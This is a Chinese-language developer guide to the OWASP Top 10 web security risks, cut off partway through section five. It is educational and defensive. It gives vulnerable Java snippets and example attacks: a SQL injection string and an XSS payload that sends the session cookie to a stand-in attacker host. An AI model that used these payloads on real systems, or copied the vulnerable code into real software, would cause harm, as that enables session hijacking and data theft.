开发人员必须了解的网络安全风险
OWASP 十大关键安全领域
本指南将介绍网络安全的重要性,并解释网站暴露给攻击者的主要方式。具体来说,我们将研究十大 OWASP 安全风险、其影响以及缓解攻击的预防措施。
关于 OWASP
开放式 Web 应用程序安全项目是一个非营利性教育慈善机构,致力于帮助组织设计、开发、获取、操作和维护安全软件。
OWASP 不隶属于任何技术公司。与许多开源软件项目类似,OWASP 以协作和开放的方式制作多种类型的材料。所有 OWASP 工具、文档、论坛和章节都是免费的,对任何有兴趣提高应用程序安全性的人开放。
Web安全风险简介
十大漏洞?
根据OWASP 页面所述,十大漏洞如下:
- SQL注入
- 身份验证和会话管理失效
- 跨站点脚本 (XSS)
- 不安全的直接对象引用
- 安全配置错误
- 敏感数据泄露
- 缺少功能级别访问控制
- 跨站请求伪造 (CSRF)
- 使用具有已知漏洞的组件
- 未经验证的重定向和转发
让我们详细了解每种风险。
1. SQL注入
String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";
这种情况下,攻击者会将浏览器中的id参数值修改为真实值,例如' '或者'1'='1:
http://example.com/app/accountView?id=' or '1'='1
这改变了查询的含义,现在它返回来自帐户表的所有记录。
**预防措施**
- 将不受信任的数据与命令和查询分开。
- 使用安全的 API,完全避免使用解释器或提供参数化接口。
- 如果参数化 API 不可用,则应使用该解释器的特定转义语法小心地转义特殊字符。
2. 身份验证和会话管理失效
与身份验证和会话管理相关的应用程序功能通常无法正确实现,从而危及密码、密钥或会话令牌。
显然,身份验证和超时缺陷使企业面临丢失机密数据的风险,并为黑客提供了整个公司的后门。
可利用性 | 患病率 | 可探测性 | 影响 |
---|---|---|---|
平均的 | 广泛 | 平均的 | 严重 |
示例场景:会话超时设置不正确。用户使用公共计算机访问网站。用户没有选择“注销”,而是直接关闭浏览器选项卡并离开。攻击者可以在一小时后使用同一个浏览器,并且该浏览器仍处于身份验证状态(无会话超时)。
**预防措施**
- 实施一套强大的身份验证和会话管理控制。
- 避免可用于窃取会话 ID 的跨站点脚本 (XSS)漏洞。
- 实施适当的应用程序会话超时协议。
- 将ESAPI 身份验证器和用户 API视为很好的例子。
3.跨站点脚本(XSS)
如会话管理和身份验证部分所述,XSS 漏洞可能会导致 Web 应用程序瘫痪。当应用程序获取不受信任的数据并将其发送到 Web 浏览器而未进行适当的验证或转义时,就会发生这种情况。XSS 允许攻击者在受害者的浏览器中执行脚本,从而劫持用户会话、破坏网站或将用户重定向到恶意网站。
可利用性 | 患病率 | 可探测性 | 影响 |
---|---|---|---|
平均的 | 非常普遍 | 简单的 | 缓和 |
示例场景:应用程序使用不受信任的数据,并使用以下未经验证或转义的 HTML 代码片段:
(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";
攻击者将浏览器中的“CC”参数修改为:
'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi ?foo='+document.cookie</script>'.
这一行修改会导致受害者的会话 ID 被发送到攻击者的网站,从而允许攻击者劫持用户的当前会话。
**预防措施**
- 根据 HTML 上下文(主体、属性、JavaScript、CSS 或 URL)转义所有不受信任的数据。
- 将服务器端输入验证列入白名单。
- 考虑内容安全策略CSP来防御整个网站的 XSS。
4.不安全的直接对象引用
当开发人员公开对内部实现对象(例如文件、目录或数据库密钥)的引用时,就会发生直接对象引用。
如果没有访问控制检查或其他保护,攻击者可以操纵这些引用来访问未经授权的数据。
可利用性 | 患病率 | 可探测性 | 影响 |
---|---|---|---|
简单的 | 常见的 | 简单的 | 缓和 |
示例场景:应用程序在访问帐户信息的 SQL 调用中使用未经验证的数据:
String query = "SELECT * FROM accts WHERE account = ?";
PreparedStatement pstmt = connection.prepareStatement(query , … );
pstmt.setString( 1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );
攻击者只需修改浏览器中的“acct”参数即可发送他们想要的任何帐号。因此,如果帐户参数未经过验证(与现有帐户交叉检查),攻击者就可以访问任何用户的帐户,而不仅仅是目标客户的帐户。
http://example.com/app/accountInfo?acct=notmyacct
**预防措施**
- 使用每个用户或会话间接对象引用来防止攻击者直接攻击未经授权的资源。请参阅这些帖子,了解后者如何提高安全性。
- 检查访问。每次使用来自不受信任来源的直接对象引用时都必须进行访问控制检查,以确保用户有权访问所请求的对象。
5. 安全配置错误
良好的安全性要求为应用程序、框架、应用程序服务器、Web 服务器、数据库服务器等定义和部署安全配置。
<font style="vertical-align: inher
免责声明:本内容来源于第三方作者授权、网友推荐或互联网整理,旨在为广大用户提供学习与参考之用。所有文本和图片版权归原创网站或作者本人所有,其观点并不代表本站立场。如有任何版权侵犯或转载不当之情况,请与我们取得联系,我们将尽快进行相关处理与修改。感谢您的理解与支持!
请先 登录后发表评论 ~